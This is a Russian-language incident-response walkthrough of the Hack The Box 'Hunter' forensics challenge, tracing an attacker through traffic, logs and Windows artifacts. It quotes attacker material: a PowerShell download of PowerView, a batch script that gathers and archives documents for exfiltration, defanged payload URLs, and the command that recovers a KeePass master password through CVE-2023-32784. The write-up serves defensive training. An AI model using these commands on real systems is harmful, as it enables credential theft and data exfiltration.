Сегодня в рамках расследования инцидента мы с тобой проэксплуатируем уязвимость в KeePass, найденную в 2023 году, а затем посмотрим, как использовать инструмент ZUI для анализа артефактов.
Нам предстоит пройти задание Hunter c ресурса Hack The Box Sherlocks. Его уровень сложности — «безумный». Мы не будем давать готовых ответов на вопросы в задании. Вместо этого сосредоточимся на процессе расследования, чтобы ты мог при желании повторить его сам и подсмотреть в эту статью, если вдруг зайдешь в тупик.
В описании к инциденту сказано:
Утилита проанализирует события журналов Windows и предложит несколько вариантов, с частотой их упоминания:
Больше информации мы получим из реестра, для этого воспользуемся утилитой RegRipper3.0 и плагинами.
Команда:
Вывод:
Команда:
Вывод:
Команда:
Вывод:
Команда:
Результаты:
Для анализа PCAP-файла я использовал ZUI и Wireshark.
Начнем с алертов сигнатур опенсорсной IDS Suricata.
В глаза бросается использование Kali Linux, о чем говорит вот эта сигнатура:
Найдем информацию об использовании DCHP:
В 11:31:18 21 июня 2023 года хосту kali назначен IP 172.17.79.133. Добавим это в таймлайн IRIS.
Также мы видим, что в широковещательном домене есть следующие хосты:
Увидим сетевые взаимодействия с FTP-сервером
Давай подробнее посмотрим в Wireshark:
Обнаружим авторизацию на FTP-сервере.
Посмотрим, какие файлы эксфильтровал злоумышленник, и сохраним их.
Время сетевого взаимодействия: 12:20:16.012196 — 12:23:04.994762. Набор файлов keepassproc.zip и Database.kdbx указывает на то, что хакер мог извлечь пароли из базы данных, используя уязвимость CVE-2023-32784.
Мы видим сессии от kali (172.17.79.133) к Forela-Wkstn002.forela.local (172.17.79.131) по 445-му порту (SMB). Эта сессия не была отнесена анализатором к SMB (вспоминаем, что захвачен был не весь сетевой трафик). Перейдем в Wireshark.
Сессия связана с Kali, можем предположить, что используется утилита impacket-psexec.
Время сетевого взаимодействия: 11:25:09.263058 — 11:33:35.584495.
Посмотрим в Wireshark:
Время сетевого взаимодействия: 12:18:35.508604 — 12:23:34.962134
Добавим информацию о IoC.
И о событиях.
В результате анализа трафика мы узнали, что злоумышленнику удалось скомпрометировать учетные данные для хоста Forela-Wkstn002.forela.local, эксфильтровать дамп процесса и базу данных KeePass, а также архив с проектом.
Посмотрим сводку по авторизациям:
Можем подтвердить, что с хоста 172.17.79.133 (Kali) было подключение по RDP.
Запустим анализ событий правилами Sigma и hayabusa-rules:
Сразу в глаза бросаются алерты:
Давай поищем авторизации с Kali:
Наши предположения об авторизациях подтвердились.
К индикаторам можем отнести название исполняемого файла и имя службы:
К сожалению, событий создания или завершения процесса в нашем интервале нет.
Давай отсортируем по типам правил:
И точечно посмотрим на некоторые.
Событие с EventId=1116 из журнала Microsoft-Windows-Windows Defender/Operational:
Оно сигнализирует нам о том, что файл C:\Users\alonzo.spire\notepad.exe определен как Trojan:Win64/Meterpreter.E. и пытался закрепиться или закрепился, используя следующую ветку реестра:
Время обнаружения: 2023-06-21 12:33:55.002.
В результате получим много событий EventId=4104 и одно событие EventId=400.
Событие ниже свидетельствует о загрузке злоумышленником утилиты PowerView, предназначенной для постэксплуатации в средах Active Directory. Утилита сохранена с именем clean.ps1.
Время регистрации события — 2023-06-21 11:30:40.755.
События 4104 регистрируют куски кода PowerView, которые используют подозрительные функции.
Можем предположить, что RDP-сессия длилась с 2023-06-21 11:44:51.426 по 2023-06-21 12:53:45.809.
Получим информацию из SRUM в виде JSON с помощью тулзы сhainsaw.
В результате имеем вывод, как на скриншоте ниже.
Загрузим полученный файл в ZUI и начнем анализ с таблицы Windows Network Data Usage Monitor.
Можем предположить, что данные украли с использованием FileZilla, а дамп процесса KeePass сделали через Process Hacker. Новым обстоятельством для нас становится использование тулзы certutil, которая позволяет загружать файлы.
Давай посмотрим информацию в таблице App Timeline Provider. После выполнения PsExec злоумышленник получает доступ в контексте учетной записи NT AUTHORITY\System. Следующий запрос поможет нам понять, какие процессы запускал хакер.
Можем предположить, что были выполнены команды net1.exe, net.exe и PowerShell. Запуск PowerShell совпадает со временем регистрации загрузки PowerView.
Какие процессы были связаны с пользователем alonzo.spire?
Из SRUM мы узнали, что пользователь alonzo.spire создавал такие процессы:
Файлы Prefetch расположены в C:\Windows\prefetch\. Парсим их скриптом и закидываем в ZUI. Начнем анализ с данных, которые у нас уже есть.
На скриншоте выше представлены процессы, предположительно связанные с сессией PsExec: owujomcy.exe, cmd.exe, whoami.exe, certuril.exe, powershell.exe, net.exe, net1.exe. Похоже на стандартный набор команд, выполняемых при компрометации машины.
Опытный читатель знает, что в Prefetch хранится информация о взаимодействии процесса с другими файлами в первые десять секунд его работы. Как мы видим из скриншота выше, времени между командами прошло гораздо больше.
В файлах и директориях, связанных с процессом certutil.exe, аномалий не нашлось, поэтому можем убрать его из цепочки процессов выше.
Время запуска процессов:
Сравниваем с результатами, полученными из SRUM. Ничего нового не появилось, но давай глянем еще данные о прошлых запусках и о связанных файлах.
Время запусков powershell.exe:
Процесс RAR.exe предоставил достаточно новой информации: RAR.EXE — 2023-06-21T12:13:15.784399.
На скриншотах выше мы видим, что хакер создал директорию Exfil и копировал туда файлы.
Процесс winrar.exe:
Процесс certutil.exe:
Из общей картины в глаза бросаются файлы вот в этом пользовательском каталоге:
Вот их полный список:
Поиск строки user-agent с упоминанием certutil в трафике не дал результатов, скорее всего, из‑за того, что дамп неполный.
Нам предстоит узнать содержимое файла scout.bat и notepad.exe.
При анализе Shimcache стоит помнить, что в нем могут храниться файлы, которые не запускались, а были отображены в проводнике Windows (explorer.exe).
Ничего нового мы не обнаружили, за исключением времени последнего изменения файла:
Перейдем к Amcache. Для его анализа воспользуемся утилитой RegRipper.
В Amcache удалось найти хеш SHA-1 файла службы PsExec:
Найдем, где были сохранены файлы clean.ps1 и Scout.bat.
Посмотрим, есть ли информация о файлах, которые хакер эксфильтровал:
Из скриншота выше мы узнаем, что дамп процесса KeePass был сделан в 2023-06-21T12:06:42.281943Z.
В результате мы получили три файла:
Посмотрим, какие расширения файлов есть в базе:
Наибольший интерес для нас представляет информация о .bat:
В последнем столбце — часть содержимого batch-файла. Скрипт ниже представлен не полностью, поскольку остальные строки в нем закомментированы.
Вот что делает скрипт:
Изучив этот файл, можем предположить, что хакер пытался подключиться к нескольким FTP-серверам. Добавим их в IoC.
Содержимое Scout.bat:
URL для загрузки Scout.bat:
Найти этот URL можно здесь:
URL для загрузки notepad.exe:
Находится в этом файле:
Его содержимое представлено ниже. Выполняются команды из PowerView.
Для использования скрипта введем команду
В результате получим восстановленный пароль от KDBX, в котором хранятся учетные данные администратора домена Active Directory.
Мы воссоздали таймлайн инцидента в IRP. Ниже — получившаяся полная картина.
В заключение хочу посоветовать аналитикам внимательно подходить к изучению артефактов и собирать инструментарий на все случаи жизни.
Автор @d3f0x0
Источник xakep.ru
Нам предстоит пройти задание Hunter c ресурса Hack The Box Sherlocks. Его уровень сложности — «безумный». Мы не будем давать готовых ответов на вопросы в задании. Вместо этого сосредоточимся на процессе расследования, чтобы ты мог при желании повторить его сам и подсмотреть в эту статью, если вдруг зайдешь в тупик.
В описании к инциденту сказано:
Для анализа даны:Аналитик SOC получил предупреждение о возможных атаках lateral movement и credential stuffing. После анализа алерт был подтвержден. У сетевого сенсора были проблемы с производительностью, поэтому захвачен не весь трафик.
- дамп трафика;
- архив с артефактами хоста, собранный утилитой KAPE.
СОБИРАЕМ ИНФОРМАЦИЮ О СИСТЕМЕ
Для получения информации oб имени анализируемого хоста воспользуемся утилитой Hayabusa:
Код:
./hayabusa computer-metrics --rules-config ../config/ -d ~/C/
- Forela-Wkstn002.forela.local — 97 385 упоминаний;
- DESKTOP-H72HB4B — 6861 упоминание;
- Forela-Wkstn002 — 6087 упоминаний;
- FORELA-WKSTN002 — 4 упоминания.
Больше информации мы получим из реестра, для этого воспользуемся утилитой RegRipper3.0 и плагинами.
winver
Ветка реестра:
Код:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Код:
regripper -p winver -r CONFIG
Код:
ProductName Windows 10 Pro N
ReleaseID 2009
BuildLab 19041.vb_release.191206-1406
BuildLabEx 19041.1.amd64fre.vb_release.191206-1406
CompositionEditionID EnterpriseN
RegisteredOrganization
RegisteredOwner CyberJungle
InstallDate 2023-03-07 13:14:17Z
InstallTime 2023-03-07 13:14:17Z
networklist
Ветка реестра:
Код:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\ProfileName\
Код:
regripper -p networklist -r CONFIG
Код:
Network 2
Key LastWrite : 2023-06-21 11:17:27Z
DateLastConnected: 2023-06-21 16:17:27
DateCreated : 2023-04-12 21:20:50
DefaultGatewayMac: 00-50-56-EE-C1-2F
Type : wired
forela.local
Key LastWrite : 2023-06-21 11:47:27Z
DateLastConnected: 2023-06-21 16:47:27
DateCreated : 2023-03-08 03:25:47
DefaultGatewayMac: 00-50-56-EB-C1-1A
Type : wired
Network
Key LastWrite : 2023-04-12 09:16:14Z
DateLastConnected: 2023-04-12 14:16:14
DateCreated : 2023-03-07 17:51:47
DefaultGatewayMac: 00-50-56-EB-C1-1A
Type : wired
Domain/IP forela.local
compname
Ветка реестра:
Код:
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\
Код:
regripper -p compname -r SYSTEM
Код:
ComputerName = forela-wkstn002
TCP/IP Hostname = Forela-Wkstn002
ips
Ветка реестра:
Код:
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
Код:
IPAddress 172.17.79.131
- домен — forela.local;
- хост — forela-wkstn002;
- IP — 172.17.79.131.
АНАЛИЗИРУЕМ ФАЙЛ PCAP
Анализ артефактов хоста, безусловно, дает огромное количество информации о произошедших событиях, но я начал с просмотра трафика, чтобы понять, какие взаимодействия были с анализируемой машиной.Для анализа PCAP-файла я использовал ZUI и Wireshark.
Начнем с алертов сигнатур опенсорсной IDS Suricata.
В глаза бросается использование Kali Linux, о чем говорит вот эта сигнатура:
Код:
ET POLICY Possible Kali Linux hostname in DHCP Request Packet
Код:
_path=="dhcp" | select ts, client_addr, server_addr, mac, host_name, client_fqdn, domain, assigned_addr
Также мы видим, что в широковещательном домене есть следующие хосты:
- 172.17.79.131 — Forela-Wkstn002.forela.local (анализируемый нами хост);
- 172.17.79.132 — DESKTOP-887GK2L.
Forela-Wkstn002.forela.local (172.17.79.131). Для начала сделаем сортировку по тегам.
FTP
Посмотрим тег ftp:
Код:
fuse | 172.17.79.131 | _path=="ftp" | sort -r ts
13.235.18.128.Давай подробнее посмотрим в Wireshark:
Код:
ftp || ftp-data
Посмотрим, какие файлы эксфильтровал злоумышленник, и сохраним их.
Время сетевого взаимодействия: 12:20:16.012196 — 12:23:04.994762. Набор файлов keepassproc.zip и Database.kdbx указывает на то, что хакер мог извлечь пароли из базы данных, используя уязвимость CVE-2023-32784.
SMB
Посмотрим сетевые соединения тeг conn:
Код:
fuse | 172.17.79.131 | _path=="conn"
Мы видим сессии от kali (172.17.79.133) к Forela-Wkstn002.forela.local (172.17.79.131) по 445-му порту (SMB). Эта сессия не была отнесена анализатором к SMB (вспоминаем, что захвачен был не весь сетевой трафик). Перейдем в Wireshark.
Сессия связана с Kali, можем предположить, что используется утилита impacket-psexec.
Время сетевого взаимодействия: 11:25:09.263058 — 11:33:35.584495.
RDP
Продолжим анализ сетевых сессий и проверим наличие RDP:
Код:
fuse | 172.17.79.131 | _path=="conn" | cut ts,id | 3389
Посмотрим в Wireshark:
Код:
tcp.port==3389
Время сетевого взаимодействия: 12:18:35.508604 — 12:23:34.962134
Добавим информацию о IoC.
И о событиях.
В результате анализа трафика мы узнали, что злоумышленнику удалось скомпрометировать учетные данные для хоста Forela-Wkstn002.forela.local, эксфильтровать дамп процесса и базу данных KeePass, а также архив с проектом.
АНАЛИЗИРУЕМ ЖУРНАЛЫ СОБЫТИЙ WINDOWS
Начнем анализ артефактов Windows, для чего снова пустим в ход Hayabusa.Посмотрим сводку по авторизациям:
Код:
./hayabusa logon-summary -d ~/Hunter_Acquisition/Acquisition/2023-06-22T092426_Acquisition/C/
Можем подтвердить, что с хоста 172.17.79.133 (Kali) было подключение по RDP.
Запустим анализ событий правилами Sigma и hayabusa-rules:
Код:
./hayabusa csv-timeline -d ~/C/ --output ~/hayabusa_last.csv --UTC
Сразу в глаза бросаются алерты:
- Defender Alert;
- PowerView PowerShell Cmdlets — ScriptBlock.
Давай поищем авторизации с Kali:
Код:
EventID==4624. | 172.17.79.133
Наши предположения об авторизациях подтвердились.
PsExec
Отфильтруем события по Logon ID 0x26fbee и увидим последовательность событий, похожую на работу PsExec. Далее поищем события, связанные с созданием служб в нужный нам интервал времени:EventID==7045. | "2023-06-21"
К индикаторам можем отнести название исполняемого файла и имя службы:
- служба: tFdj;
- путь к исполняемому файлу:
%systemroot%\\owUjOMCY.exe; - время: 2023-06-21T11:19:34.
К сожалению, событий создания или завершения процесса в нашем интервале нет.
Давай отсортируем по типам правил:
Код:
"06-21" | count() by RuleTitle | sort -r count
Meterpreter
Код:
"06-21" | RuleTitle=="Antivirus Hacktool Detection"
Код:
Threat: Trojan:Win64/Meterpreter.E ¦ Severity: Severe ¦ Type: Trojan ¦ User: NT AUTHORITY\SYSTEM ¦ Path: file:_C:\Users\alonzo.spire\notepad.exe; shellopencmd:_HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\ ¦ Proc: Unknown
Код:
HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\
Загружаем PowerView
Посмотрим события, связанные с работой PowerShell.
Код:
"06-21" | PwSh | Details!="HostApplication: n/a"
Событие ниже свидетельствует о загрузке злоумышленником утилиты PowerView, предназначенной для постэксплуатации в средах Active Directory. Утилита сохранена с именем clean.ps1.
Время регистрации события — 2023-06-21 11:30:40.755.
Код:
Data: Available ¦ Data: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=ConsoleHost HostVersion=5.1.19041.2673 HostId=b9505ee1-faf5-41b3-af08-7dddad696ee3 HostApplication=powershell -c (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'clean.ps1') EngineVersion=5.1.19041.2673 RunspaceId=248a767b-db92-435f-bda4-5e42213ebf64 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= ¦ Data: None
RDP
Давай уточним время работы хакера по RDP. Для этого еще раз обратимся к событиям авторизации и к журналам:- Terminal-Services-RemoteConnectionManager/Operational;
- TerminalServices-LocalSessionManager/Operational.
Код:
"06-21" | 4624. or "RDS-"
Можем предположить, что RDP-сессия длилась с 2023-06-21 11:44:51.426 по 2023-06-21 12:53:45.809.
- Просмотр и анализ логов RDP-подключений в Windows (WinITPro)
- RDP Flowchart (PDF, Google Drive)
- DFIR-03: RDP Authentication Artifacts (Cyb3rSn0rlax)
АРТЕФАКТЫ ВЫПОЛНЕНИЯ ПРОЦЕССОВ
SRUM
Начнем со SRUM (Windows System Resource Usage Monitor), так как в нашем инциденте много сетевых взаимодействий.Получим информацию из SRUM в виде JSON с помощью тулзы сhainsaw.
Код:
./chainsaw analyse srum -s ./2023-06-22T092426_Acquisition/C/Windows/System32/config/SOFTWARE ./2023-06-22T092426_Acquisition/C/Windows/System32/SRU/SRUDB.dat -o ./srum_chainsaw.json
Загрузим полученный файл в ZUI и начнем анализ с таблицы Windows Network Data Usage Monitor.
Код:
over this | TableName=="Windows Network Data Usage Monitor" | fuse | cut TimeStamp, UserName, AppName, AppId, BytesRecvd, BytesSent | sort -r TimeStamp
Код:
2023-06-21T12:53:00Z
\device\harddiskvolume3\program files\filezilla ftp client\filezilla.exe
Код:
2023-06-21T12:53:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Код:
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe
Код:
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Код:
2023-06-21T12:17:00Z
\device\harddiskvolume3\program files\process hacker 2\processhacker.exe
Можем предположить, что данные украли с использованием FileZilla, а дамп процесса KeePass сделали через Process Hacker. Новым обстоятельством для нас становится использование тулзы certutil, которая позволяет загружать файлы.
Давай посмотрим информацию в таблице App Timeline Provider. После выполнения PsExec злоумышленник получает доступ в контексте учетной записи NT AUTHORITY\System. Следующий запрос поможет нам понять, какие процессы запускал хакер.
Код:
over this | "06-21" | TableName=="Application Resource Usage Provider" or TableName=="App Timeline Provider" | fuse | cut TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r EndTime | UserName=="systemprofile"
Можем предположить, что были выполнены команды net1.exe, net.exe и PowerShell. Запуск PowerShell совпадает со временем регистрации загрузки PowerView.
Какие процессы были связаны с пользователем alonzo.spire?
Код:
over this | "06-21" | TableName=="Application Resource Usage Provider" or TableName=="App Timeline Provider" | fuse | cut TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r EndTime | UserName=="alonzo.spire"
Из SRUM мы узнали, что пользователь alonzo.spire создавал такие процессы:
- keepass;
- filezilla;
- powershell;
- powershell_ise;
- WinRAR;
- RAR;
- ProcessHacker.
Prefetch
Давай заглянем в Prefetch-файлы, они содержат время последних восьми запусков процесса и информацию о файлах, с которыми процесс взаимодействовал.Файлы Prefetch расположены в C:\Windows\prefetch\. Парсим их скриптом и закидываем в ZUI. Начнем анализ с данных, которые у нас уже есть.
Сессия PsExec
Служба PsExec — owujomcy.exe (over this | sort -r last_exec_time).
На скриншоте выше представлены процессы, предположительно связанные с сессией PsExec: owujomcy.exe, cmd.exe, whoami.exe, certuril.exe, powershell.exe, net.exe, net1.exe. Похоже на стандартный набор команд, выполняемых при компрометации машины.
Опытный читатель знает, что в Prefetch хранится информация о взаимодействии процесса с другими файлами в первые десять секунд его работы. Как мы видим из скриншота выше, времени между командами прошло гораздо больше.
В файлах и директориях, связанных с процессом certutil.exe, аномалий не нашлось, поэтому можем убрать его из цепочки процессов выше.
Время запуска процессов:
- WHOAMI.EXE — 2023-06-21T11:19:59.915253;
- POWERSHELL.EXE — 2023-06-21T11:30:39.567358 (совпадает со временем загрузки PowerView, но в связях отсутствует файл clean.ps1);
- NET1.EXE — 2023-06-21T11:33:20.404245;
- NET.EXE — 2023-06-21T11:33:20.326231.
RDP-сессия
Давай посмотрим процессы, которые предположительно относятся к RDP-сессии.
Сравниваем с результатами, полученными из SRUM. Ничего нового не появилось, но давай глянем еще данные о прошлых запусках и о связанных файлах.
Время запусков powershell.exe:
- 2023-06-21T11:51:01.844703;
- 2023-06-21T11:20:59.195584;
- 2023-06-21T11:20:28.235246;
- 2023-06-21T11:20:21.166621;
- 2023-06-21T11:19:56.205089;
- 2023-06-21T11:19:49.169370;
- 2023-06-21T11:19:30.172513;
- 2023-06-21T11:19:11.784861.
- 2023-06-21T11:59:54.640629;
- 2023-06-21T11:59:46.703003.
Процесс RAR.exe предоставил достаточно новой информации: RAR.EXE — 2023-06-21T12:13:15.784399.
На скриншотах выше мы видим, что хакер создал директорию Exfil и копировал туда файлы.
Процесс winrar.exe:
- 2023-06-21T12:18:04.408710;
- 2023-06-21T12:07:55.183899.
Процесс certutil.exe:
- 2023-06-21T12:29:49.237697;
- 2023-06-21T12:29:42.612611;
- 2023-06-21T12:12:35.575593.
Из общей картины в глаза бросаются файлы вот в этом пользовательском каталоге:
Код:
\VOLUME{01d951602330db46-52233816}\USERS\ALONZO.SPIRE\
Вот их полный список:
Код:
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\3DC3856568F41DEBDC478970629B1FC6
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\4TSWMJTT\NOTEPAD[1].EXE
NOTEPAD.EXE
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\TFR2JWYD\NOTEPAD[1].EXE
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\A3CEB2B928510B461A9B19D9B4B8D5B6
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\A3CEB2B928510B461A9B19D9B4B8D5B6
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\OOI66Y9I\SCOUT[1].BAT
PICTURES\SCOUT.BAT
Нам предстоит узнать содержимое файла scout.bat и notepad.exe.
Shimcache и Amcache
Продолжим анализ артефактов, указывающих на запуск или наличие файлов процессов Shimcache и Amcache. Для их анализа будем использовать chainsaw и ZUI.При анализе Shimcache стоит помнить, что в нем могут храниться файлы, которые не запускались, а были отображены в проводнике Windows (explorer.exe).
Ничего нового мы не обнаружили, за исключением времени последнего изменения файла:
C:\Users\alonzo.spire\notepad.exe запускался в 2023-06-21T12:29:49.597Z.Перейдем к Amcache. Для его анализа воспользуемся утилитой RegRipper.
Код:
regripper -r /data/Amcache.hve -p amcache
Код:
2023-06-21T11:33:14.594430700Z
c:\windows\owujomcy.exe 23873bf2670cf64c2440058130548d4e4da412dd
АРТЕФАКТЫ ФАЙЛОВОЙ И ОПЕРАЦИОННОЙ СИСТЕМЫ
$MFT
Спарсим C:\$MFT утилитой MFT и загрузим данные в ZUI.Найдем, где были сохранены файлы clean.ps1 и Scout.bat.
Посмотрим, есть ли информация о файлах, которые хакер эксфильтровал:
Код:
fuse | keepassproc.zip or Database.kdbx or redacted
Из скриншота выше мы узнаем, что дамп процесса KeePass был сделан в 2023-06-21T12:06:42.281943Z.
Windows Search Database
В качестве последнего артефакта ОС рассмотрим Windows Search Database. Для его анализа воспользуемся утилитой sidr.
Код:
./sidr ~./2023-06-22T092426_Acquisition/C/ -f json -o ~/sidr/
- File_Report_20240503_120219.452284.json;
- Internet_History_Report_20240503_120219.452528.json;
- Activity_History_Report_20240503_120219.452589.json.
Посмотрим, какие расширения файлов есть в базе:
Код:
fuse | "06-21" | count() by System_ItemType | sort -r count
Наибольший интерес для нас представляет информация о .bat:
Код:
fuse | "06-21" | System_ItemType==".bat
В последнем столбце — часть содержимого batch-файла. Скрипт ниже представлен не полностью, поскольку остальные строки в нем закомментированы.
Код:
set "source=%userprofile%"
set "destination=%temp%\Exfil"
if not exist "%destination%" mkdir "%destination%"
for /r "%source%" %%a in (*.docx *.docm *.pdf *.xls *.txt *.ppt *.xlsx *.pptx) do (
copy "%%a" "%destination%"
)
cd %TEMP%\Exfil
"C:\Program Files\WinRAR\Rar.exe" a Exfil
- устанавливаются переменные source и destination;
- если директория
%temp%\Exfilотсутствует, она создается; - копируются файлы, подходящие под маску;
- создается архив
%TEMP%\Exfil\Exfil.rar.
АРТЕФАКТЫ ИСПОЛЬЗУЕМЫХ ПРИЛОЖЕНИЙ И УТИЛИТ
FileZilla
В директории можем посмотреть конфиг FileZilla.C:\Users\alonzo.spire\AppData\Roaming\FileZilla\recentservers.xml
XML:
<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.63.2.1" platform="windows">
<RecentServers>
<Server>
<Host>13.235.18.128</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>theyoungwolf</User>
<Pass encoding="base64">VGhlTG9uZ05pZ2h0SXNDb21pbmc=</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>ypmlads.ftp.fileserver</Host>
<Port>4825</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>cyberjunkie</User>
<Pass encoding="base64">VWlvbnNrSEdUTERT</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>13.45.67.23</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>alonzo.spire</User>
<Pass encoding="base64">VGhlQXdlc29tZUdyYXBl</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>
Certutil
Кеш утилиты certutil (yet) находится в этой директории:
Код:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache
Код:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A3CEB2B928510B461A9B19D9B4B8D5B6
Код:
hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/Scout.bat
Код:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A3CEB2B928510B461A9B19D9B4B8D5B6
Код:
hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/notepad.exe
Код:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\cat 3DC3856568F41DEBDC478970629B1FC6
История PowerShell
Историю команд, выполняемых в консоли PowerShell, можем найти в следующем файле:
Код:
C:\Users\alonzo.spire\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Код:
powershell -ep bypass
. .\clean.ps1
Get-NetDomainController
Get-NetDomainUsers
Get-NetUsers
Get-NetUser
KeePass CVE-2023-32784
Настало время разобраться с дампом процесса KeePass и с украденной базой паролей. Для эксплуатации уязвимости я воспользовался скриптом с GitHub. Дамп хранится в архиве с паролем, и могу сказать, что наш хакер не очень любит использовать разные пароли.Для использования скрипта введем команду
Код:
python3 keepass_dump.py -f ~/Downloads/Hunter_Acquisition/keepassproc.dmp --recover
ВЫВОДЫ
В процессе расследования мы вспомнили, где искать некоторые артефакты Windows, файловой системы NTFS и утилит, которыми могут пользоваться хакеры.Мы воссоздали таймлайн инцидента в IRP. Ниже — получившаяся полная картина.
В заключение хочу посоветовать аналитикам внимательно подходить к изучению артефактов и собирать инструментарий на все случаи жизни.
Автор @d3f0x0
Источник xakep.ru